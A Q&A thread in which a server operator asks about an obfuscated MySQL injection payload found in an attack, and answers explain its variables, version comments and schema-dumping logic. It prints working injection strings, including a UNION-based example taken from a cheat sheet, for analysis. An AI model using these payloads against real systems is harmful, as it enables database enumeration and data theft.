Understanding SQL injection payload

Question

My server was hit by the following SQL injection payload:-

((/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a))

What does (@) and (@:=0x00) stand for in this payload?

for standalone execution, the above payload must be executed as:-

select ((/!12345sELecT/(@)from(/!12345sELecT/(@:=0x00),(/!12345sELecT/(@)from(InFoRMAtiON_sCHeMa.ColUMNs)where(TAblE_sCHemA=DatAbAsE/data/())and(@)in(@:=CoNCat(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a));

The payload had the syntax error.

Yaron · Accepted Answer · 2017-07-25T08:41:50.060

What does (@) and (@:=0x00) stand for in this payload?

@ - is the variable name
@:=0x00 - is the assignment of zero into this variable.

Note: := is the assignment-operator

Thanks for @Frank Cedeno and @strnk for their Q&A in the comments.

@Frank Cedeno - How /!12345sELecT/ becomes select?

@strnk - This is a MySQL-specific extension to SQL comments, the sELecT is only included in the query if the server version is greater or equal to 12345 (1.23.45), so it filters-out non-MySQL servers

More Info:

From websec sql_injection:

Retrieving Multiple Tables/Columns at once

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

Example:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

Output:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED

This Stackoverflow answer explains the SQL code:

First of all i would make the query a litte bit more readable by reformatting it:
1) SELECT (SELECT (@)
2)         FROM (SELECT (@:=0x00),
3)                      (SELECT (@)
4)                       FROM (information_schema.columns)
5)                       WHERE (table_schema >= @)
6)                       AND   (@) IN (@:=CONCAT(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))
7)                       )
8)               )
9)        a);
The assignment of @ is as follows:

In Line 3 it gets the value 0x00 (Decimal: 0)

In line 5 this value is used for the greater than (table_schema >= 0)

Line 6 is a way to concat each schema, table and column name into @

@ is returned in line 1 and contains a concatenated list of your structures

In line 6 an additional <br> (0x3C,0x62,0x72,0x3E) is added to the variable to make the output more readable

Extremely fascinating. Can you explain how /*!12345sELecT*/ becomes select?. — Frank Cedeno, Jul 24 '17 at 12:58
This is a [MySQL-specific extension to SQL comments](https://dev.mysql.com/doc/refman/5.7/en/comments.html), the "sELecT" is only included in the query if the server version is greater or equal to 12345 (1.23.45), so it filters-out non-MySQL servers. — strnk, Jul 24 '17 at 13:48

Understanding SQL injection payload

1 Answers1